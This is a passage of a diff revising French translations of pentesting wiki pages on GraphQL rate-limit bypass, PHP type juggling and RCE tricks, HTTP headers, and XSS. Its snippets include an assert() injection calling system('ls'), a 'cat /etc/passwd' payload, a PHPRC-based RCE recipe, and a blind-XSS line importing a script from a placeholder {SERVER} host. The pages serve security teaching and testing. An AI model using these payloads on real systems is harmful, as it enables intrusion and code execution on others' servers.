limiteurs de taux pourraient ne pas tenir compte du nombre d'opérations dans chaque requête. Étant donné que les alias permettent d'inclure plusieurs requêtes dans une seule requête HTTP, ils peuvent contourner de telles mesures de limitation de taux. +Bien que le but principal des alias soit de réduire la nécessité de nombreux appels API, un cas d'utilisation non intentionnel a été identifié où les alias peuvent être exploités pour exécuter des attaques par force brute sur un point de terminaison GraphQL. Cela est possible car certains points de terminaison sont protégés par des limiteurs de taux conçus pour contrer les attaques par force brute en restreignant le **nombre de requêtes HTTP**. Cependant, ces limiteurs de taux pourraient ne pas tenir compte du nombre d'opérations dans chaque requête. Étant donné que les alias permettent l'inclusion de plusieurs requêtes dans une seule requête HTTP, ils peuvent contourner de telles mesures de limitation de taux. Considérez l'exemple fourni ci-dessous, qui illustre comment des requêtes aliasées peuvent être utilisées pour vérifier la validité des codes de réduction en magasin. Cette méthode pourrait contourner la limitation de taux puisqu'elle compile plusieurs requêtes en une seule requête HTTP, permettant potentiellement la vérification de plusieurs codes de réduction simultanément. ```bash @@ -553,12 +553,12 @@ curl -X POST -H "User-Agent: graphql-cop/1.13" -H "Content-Type: application/jso - [https://github.com/dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) : Tester les erreurs de configuration courantes des points de terminaison graphql - [https://github.com/assetnote/batchql](https://github.com/assetnote/batchql) : Script d'audit de sécurité GraphQL axé sur l'exécution de requêtes et de mutations GraphQL en lot. - [https://github.com/dolevf/graphw00f](https://github.com/dolevf/graphw00f) : Identifier le graphql utilisé -- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler) : Boîte à outils pouvant être utilisée pour récupérer des schémas et rechercher des données sensibles, tester l'autorisation, forcer les schémas par brute force et trouver des chemins vers un type donné. +- [https://github.com/gsmith257-cyber/GraphCrawler](https://github.com/gsmith257-cyber/GraphCrawler) : Boîte à outils pouvant être utilisée pour récupérer des schémas et rechercher des données sensibles, tester l'autorisation, forcer les schémas et trouver des chemins vers un type donné. - [https://blog.doyensec.com/2020/03/26/graphql-scanner.html](https://blog.doyensec.com/2020/03/26/graphql-scanner.html) : Peut être utilisé comme autonome ou [extension Burp](https://github.com/doyensec/inql). -- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) : Peut également être utilisé comme client CLI pour automatiser les attaques -- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) : Outil qui répertorie les différentes manières de **atteindre un type donné dans un schéma GraphQL**. +- [https://github.com/swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) : Peut également être utilisé comme client CLI pour automatiser les attaques : `python3 graphqlmap.py -u http://example.com/graphql --inject` +- [https://gitlab.com/dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) : Outil qui liste les différentes manières de **atteindre un type donné dans un schéma GraphQL**. - [https://github.com/doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) : Le successeur des modes autonome et CLI d'InQL -- [https://github.com/doyensec/inql](https://github.com/doyensec/inql) : Extension Burp pour des tests GraphQL avancés. Le _**Scanner**_ est le cœur d'InQL v5.0, où vous pouvez analyser un point de terminaison GraphQL ou un fichier de schéma d'introspection local. Il génère automatiquement toutes les requêtes et mutations possibles, les organisant dans une vue structurée pour votre analyse. Le composant _**Attacker**_ vous permet d'exécuter des attaques GraphQL en lot, ce qui peut être utile pour contourner des limites de taux mal implémentées. +- [https://github.com/doyensec/inql](https://github.com/doyensec/inql) : Extension Burp ou script python pour des tests GraphQL avancés. Le _**Scanner**_ est le cœur d'InQL v5.0, où vous pouvez analyser un point de terminaison GraphQL ou un fichier de schéma d'introspection local. Il génère automatiquement toutes les requêtes et mutations possibles, les organisant dans une vue structurée pour votre analyse. Le composant _**Attacker**_ vous permet d'exécuter des attaques GraphQL en lot, ce qui peut être utile pour contourner des limites de taux mal implémentées : `python3 inql.py -t http://example.com/graphql -o output.json` - [https://github.com/nikitastupin/clairvoyance](https://github.com/nikitastupin/clairvoyance) : Essayer d'obtenir le schéma même avec l'introspection désactivée en utilisant l'aide de certaines bases de données Graphql qui suggéreront les noms des mutations et des paramètres. ### Clients diff --git a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md index 748921747..b02403d2f 100644 --- a/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md +++ b/src/network-services-pentesting/pentesting-web/php-tricks-esp/README.md @@ -36,7 +36,7 @@ EN-PHP-loose-comparison-Type-Juggling-OWASP (1).pdf - `"0xAAAA" == "43690" -> True` Les chaînes composées de nombres en format décimal ou hexadécimal peuvent être comparées à d'autres nombres/chaînes avec un résultat True si les nombres étaient les mêmes (les nombres dans une chaîne sont interprétés comme des nombres) - `"0e3264578" == 0 --> True` Une chaîne commençant par "0e" et suivie de n'importe quoi sera égale à 0 - `"0X3264578" == 0X --> True` Une chaîne commençant par "0" et suivie de n'importe quelle lettre (X peut être n'importe quelle lettre) et suivie de n'importe quoi sera égale à 0 -- `"0e12334" == "0" --> True` C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de la chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver des **chaînes déjà hachées** avec ce format ici : [https://github.com/spaze/hashes](https://github.com/spaze/hashes) +- `"0e12334" == "0" --> True` C'est très intéressant car dans certains cas, vous pouvez contrôler l'entrée de la chaîne de "0" et certains contenus qui sont hachés et comparés à cela. Par conséquent, si vous pouvez fournir une valeur qui créera un hachage commençant par "0e" et sans aucune lettre, vous pourriez contourner la comparaison. Vous pouvez trouver **des chaînes déjà hachées** avec ce format ici : [https://github.com/spaze/hashes](https://github.com/spaze/hashes) - `"X" == 0 --> True` N'importe quelle lettre dans une chaîne est égale à int 0 Plus d'infos sur [https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09](https://medium.com/swlh/php-type-juggling-vulnerabilities-3e28c4ed5c09) @@ -60,7 +60,7 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; } // Real Password ``` -La même erreur se produit avec `strcasecmp()` +L'erreur se produit également avec `strcasecmp()` ### Conversion stricte de types @@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput); echo preg_match("/^.*1.*$/",$myinput); //0 --> In this scenario preg_match DOESN'T find the char "1" ``` -Pour contourner cette vérification, vous pourriez **envoyer la valeur avec des nouvelles lignes urlencoded** (`%0A`) ou si vous pouvez envoyer **des données JSON**, envoyez-les en **plusieurs lignes** : +Pour contourner cette vérification, vous pourriez **envoyer la valeur avec des nouvelles lignes urlencodées** (`%0A`) ou si vous pouvez envoyer **des données JSON**, envoyez-les en **plusieurs lignes** : ```php { "cmd": "cat /etc/passwd" @@ -110,7 +110,7 @@ Astuce provenant de : [https://simones-organization-4.gitbook.io/hackbook-of-a-h
-En résumé, le problème se produit parce que les fonctions `preg_*` en PHP reposent sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont appariées en utilisant de nombreux appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP, cette limite [par défaut à 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), ce qui est plus que ce qui peut tenir dans la pile. +En résumé, le problème se produit parce que les fonctions `preg_*` en PHP reposent sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont appariées en utilisant de nombreux appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP, cette limite [par défaut à 100.000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ce qui est plus que ce qui peut tenir dans la pile. [Ce fil de discussion Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) a également été lié dans le post où il est question plus en profondeur de ce problème. Notre tâche était maintenant claire :\ **Envoyer une entrée qui ferait que la regex effectue 100_000+ récursions, provoquant un SIGSEGV, faisant que la fonction `preg_match()` retourne `false`, faisant ainsi croire à l'application que notre entrée n'est pas malveillante, lançant la surprise à la fin de la charge utile quelque chose comme `{system()}` pour obtenir SSTI --> RCE --> flag :)**. @@ -157,6 +157,7 @@ Check: - Les **cookies PHPSESSION du même domaine sont stockés au même endroit**, donc si dans un domaine **différents cookies sont utilisés dans différents chemins** vous pouvez faire en sorte qu'un chemin **accède au cookie de l'autre chemin** en définissant la valeur de l'autre cookie de chemin.\ De cette façon, si **les deux chemins accèdent à une variable avec le même nom** vous pouvez faire en sorte que **la valeur de cette variable dans path1 s'applique à path2**. Et ensuite path2 considérera comme valides les variables de path1 (en donnant au cookie le nom qui lui correspond dans path2). - Lorsque vous avez les **noms d'utilisateur** des utilisateurs de la machine. Vérifiez l'adresse : **/\~\** pour voir si les répertoires php sont activés. +- Si une configuration php a **`register_argc_argv = On`** alors les paramètres de requête séparés par des espaces sont utilisés pour peupler le tableau des arguments **`array_keys($_SERVER['argv'])`** comme s'ils étaient **des arguments de la CLI**. C'est intéressant car si ce **paramètre est désactivé**, la valeur du **tableau args sera `Null`** lorsqu'il est appelé depuis le web car le tableau ars ne sera pas peuplé. Par conséquent, si une page web essaie de vérifier si elle s'exécute en tant qu'outil web ou en tant qu'outil CLI avec une comparaison comme `if (empty($_SERVER['argv'])) {` un attaquant pourrait envoyer **des paramètres dans la requête GET comme `?--configPath=/lalala`** et cela pensera qu'il s'exécute en tant que CLI et pourrait potentiellement analyser et utiliser ces arguments. Plus d'infos dans le [original writeup](https://www.assetnote.io/resources/research/how-an-obscure-php-footgun-led-to-rce-in-craft-cms). - [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html) ### password_hash/password_verify @@ -223,7 +224,7 @@ Cette option de preg_replace a été **dépréciée depuis PHP 5.5.0.** ``` ### **RCE via Assert()** -Cette fonction dans php vous permet d'**exécuter du code écrit dans une chaîne** afin de **retourner vrai ou faux** (et en fonction de cela, d'altérer l'exécution). En général, la variable utilisateur sera insérée au milieu d'une chaîne. Par exemple :\ +Cette fonction dans php vous permet d'**exécuter du code écrit dans une chaîne** afin de **retourner vrai ou faux** (et en fonction de cela, modifier l'exécution). En général, la variable utilisateur sera insérée au milieu d'une chaîne. Par exemple :\ `assert("strpos($_GET['page']),'..') === false")` --> Dans ce cas, pour obtenir **RCE**, vous pourriez faire : ``` ?page=a','NeVeR') === false and system('ls') and strpos('a @@ -273,10 +274,10 @@ Différentes shells .htaccess peuvent être trouvées [ici](https://github.com/w ### RCE via Env Variables -Si vous trouvez une vulnérabilité qui vous permet de **modifier les variables d'environnement en PHP** (et une autre pour télécharger des fichiers, bien que avec plus de recherche cela puisse peut-être être contourné), vous pourriez abuser de ce comportement pour obtenir **RCE**. +Si vous trouvez une vulnérabilité qui vous permet de **modifier les variables d'environnement en PHP** (et une autre pour télécharger des fichiers, bien que cela puisse être contourné avec plus de recherche), vous pourriez abuser de ce comportement pour obtenir **RCE**. -- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path) : Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas cela puisse ne pas fonctionner). -- **`PHPRC`** : Indique à PHP **où localiser son fichier de configuration**, généralement appelé `php.ini`. Si vous pouvez télécharger votre propre fichier de configuration, alors, utilisez `PHPRC` pour indiquer à PHP de l'utiliser. Ajoutez une entrée **`auto_prepend_file`** spécifiant un deuxième fichier téléchargé. Ce deuxième fichier contient du **code PHP normal, qui est ensuite exécuté** par le runtime PHP avant tout autre code. +- [**`LD_PRELOAD`**](../../../linux-hardening/privilege-escalation/index.html#ld_preload-and-ld_library_path) : Cette variable d'environnement vous permet de charger des bibliothèques arbitraires lors de l'exécution d'autres binaires (bien que dans ce cas, cela pourrait ne pas fonctionner). +- **`PHPRC`** : Indique à PHP **où localiser son fichier de configuration**, généralement appelé `php.ini`. Si vous pouvez télécharger votre propre fichier de configuration, alors, utilisez `PHPRC` pour pointer PHP vers celui-ci. Ajoutez une entrée **`auto_prepend_file`** spécifiant un deuxième fichier téléchargé. Ce deuxième fichier contient du **code PHP normal, qui est ensuite exécuté** par le runtime PHP avant tout autre code. 1. Téléchargez un fichier PHP contenant notre shellcode 2. Téléchargez un deuxième fichier, contenant une directive **`auto_prepend_file`** instruisant le préprocesseur PHP d'exécuter le fichier que nous avons téléchargé à l'étape 1 3. Définissez la variable `PHPRC` sur le fichier que nous avons téléchargé à l'étape 2. @@ -350,7 +351,7 @@ echo "${Da}"; //Drums echo "$x ${$x}"; //Da Drums echo "$x ${Da}"; //Da Drums ``` -## RCE abusant de $\_GET\["a"]\($\_GET\["b") +## RCE abusant de $\_GET\["a"]\($\_GET\["b"]) Si sur une page vous pouvez **créer un nouvel objet d'une classe arbitraire**, vous pourriez être en mesure d'obtenir RCE, consultez la page suivante pour apprendre comment : diff --git a/src/network-services-pentesting/pentesting-web/special-http-headers.md b/src/network-services-pentesting/pentesting-web/special-http-headers.md index a9451c803..a08def828 100644 --- a/src/network-services-pentesting/pentesting-web/special-http-headers.md +++ b/src/network-services-pentesting/pentesting-web/special-http-headers.md @@ -7,7 +7,7 @@ - [https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers](https://github.com/danielmiessler/SecLists/tree/master/Miscellaneous/Web/http-request-headers) - [https://github.com/rfc-st/humble](https://github.com/rfc-st/humble) -## En-têtes à modifier la localisation +## En-têtes à modifier l'emplacement Réécrire **IP source** : @@ -28,7 +28,7 @@ Réécrire **IP source** : - `Via: 1.0 fred, 1.1 127.0.0.1` - `Connection: close, X-Forwarded-For` (Vérifiez les en-têtes hop-by-hop) -Réécrire **localisation** : +Réécrire **emplacement** : - `X-Original-URL: /admin/console` - `X-Rewrite-URL: /admin/console` @@ -43,7 +43,7 @@ Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé pa ../../pentesting-web/abusing-hop-by-hop-headers.md {{#endref}} -## Contournement de requêtes HTTP +## Contrebandier de requêtes HTTP - `Content-Length: 30` - `Transfer-Encoding: chunked` @@ -59,7 +59,7 @@ Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé pa - **`X-Cache`** dans la réponse peut avoir la valeur **`miss`** lorsque la demande n'a pas été mise en cache et la valeur **`hit`** lorsqu'elle est mise en cache - Comportement similaire dans l'en-tête **`Cf-Cache-Status`** - **`Cache-Control`** indique si une ressource est mise en cache et quand la prochaine fois la ressource sera mise en cache à nouveau : `Cache-Control: public, max-age=1800` -- **`Vary`** est souvent utilisé dans la réponse pour **indiquer des en-têtes supplémentaires** qui sont considérés comme **partie de la clé de cache** même s'ils ne sont normalement pas clés. +- **`Vary`** est souvent utilisé dans la réponse pour **indiquer des en-têtes supplémentaires** qui sont traités comme **partie de la clé de cache** même s'ils ne sont normalement pas indexés. - **`Age`** définit le temps en secondes que l'objet a passé dans le cache proxy. - **`Server-Timing: cdn-cache; desc=HIT`** indique également qu'une ressource a été mise en cache @@ -83,8 +83,9 @@ Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé pa ## Requêtes de plage - **`Accept-Ranges`** : Indique si le serveur prend en charge les requêtes de plage, et si oui, dans quelle unité la plage peut être exprimée. `Accept-Ranges: ` -- **`Range`** : Indique la partie d'un document que le serveur doit renvoyer. -- **`If-Range`** : Crée une requête de plage conditionnelle qui n'est remplie que si l'etag ou la date donnée correspond à la ressource distante. Utilisé pour éviter de télécharger deux plages de versions incompatibles de la ressource. +- **`Range`** : Indique la partie d'un document que le serveur doit retourner. Par exemple, `Range:80-100` retournera les octets 80 à 100 de la réponse originale avec un code d'état de 206 Contenu Partiel. N'oubliez pas de supprimer l'en-tête `Accept-Encoding` de la demande. +- Cela pourrait être utile pour obtenir une réponse avec du code javascript réfléchi arbitraire qui pourrait autrement être échappé. Mais pour en abuser, vous auriez besoin d'injecter ces en-têtes dans la demande. +- **`If-Range`** : Crée une demande de plage conditionnelle qui n'est remplie que si l'etag ou la date donnée correspond à la ressource distante. Utilisé pour éviter de télécharger deux plages de versions incompatibles de la ressource. - **`Content-Range`** : Indique où dans un message complet un message partiel appartient. ## Informations sur le corps du message @@ -95,10 +96,10 @@ Un en-tête hop-by-hop est un en-tête conçu pour être traité et consommé pa - **`Content-Language`** : Décrit la ou les langues humaines destinées au public, afin de permettre à un utilisateur de différencier selon la langue préférée de l'utilisateur. - **`Content-Location`** : Indique un emplacement alternatif pour les données retournées. -Du point de vue d'un pentest, ces informations sont généralement "inutiles", mais si la ressource est **protégée** par un 401 ou 403 et que vous pouvez trouver un **moyen** d'**obtenir** cette **info**, cela pourrait être **intéressant.**\ -Par exemple, une combinaison de **`Range`** et **`Etag`** dans une requête HEAD peut révéler le contenu de la page via des requêtes HEAD : +Du point de vue d'un pentest, ces informations sont généralement "inutiles", mais si la ressource est **protégée** par un 401 ou 403 et que vous pouvez trouver un **moyen** d'**obtenir** ces **informations**, cela pourrait être **intéressant.**\ +Par exemple, une combinaison de **`Range`** et **`Etag`** dans une demande HEAD peut révéler le contenu de la page via des demandes HEAD : -- Une requête avec l'en-tête `Range: bytes=20-20` et avec une réponse contenant `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` révèle que le SHA1 de l'octet 20 est `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` +- Une demande avec l'en-tête `Range: bytes=20-20` et avec une réponse contenant `ETag: W/"1-eoGvPlkaxxP4HqHv6T3PNhV9g3Y"` révèle que le SHA1 de l'octet 20 est `ETag: eoGvPlkaxxP4HqHv6T3PNhV9g3Y` ## Informations sur le serveur @@ -153,21 +154,21 @@ X-Content-Type-Options: nosniff ``` ### **X-Frame-Options** -Pour lutter contre le clickjacking, cet en-tête limite la façon dont les documents peuvent être intégrés dans les balises ``, ` + + + + + + + + +{{constructor.constructor("import('{SERVER}/script.js')")()}} ``` ### Regex - Accéder au contenu caché -From [**this writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) il est possible d'apprendre que même si certaines valeurs disparaissent de JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible de la trouver après que la valeur de l'entrée du regex a été supprimée : +D'après [**cet article**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay), il est possible d'apprendre que même si certaines valeurs disparaissent du JS, il est toujours possible de les trouver dans les attributs JS dans différents objets. Par exemple, une entrée d'un REGEX est toujours possible à trouver après que la valeur de l'entrée du regex a été supprimée : ```javascript // Do regex with flag flag = "CTF{FLAG}" @@ -1614,5 +1639,6 @@ other-js-tricks.md - [https://github.com/ismailtasdelen/xss-payload-list](https://github.com/ismailtasdelen/xss-payload-list) - [https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec](https://gist.github.com/rvrsh3ll/09a8b933291f9f98e8ec) - [https://netsec.expert/2020/02/01/xss-in-2020.html](https://netsec.expert/2020/02/01/xss-in-2020.html) +- [https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide](https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide) {{#include ../../banners/hacktricks-training.md}}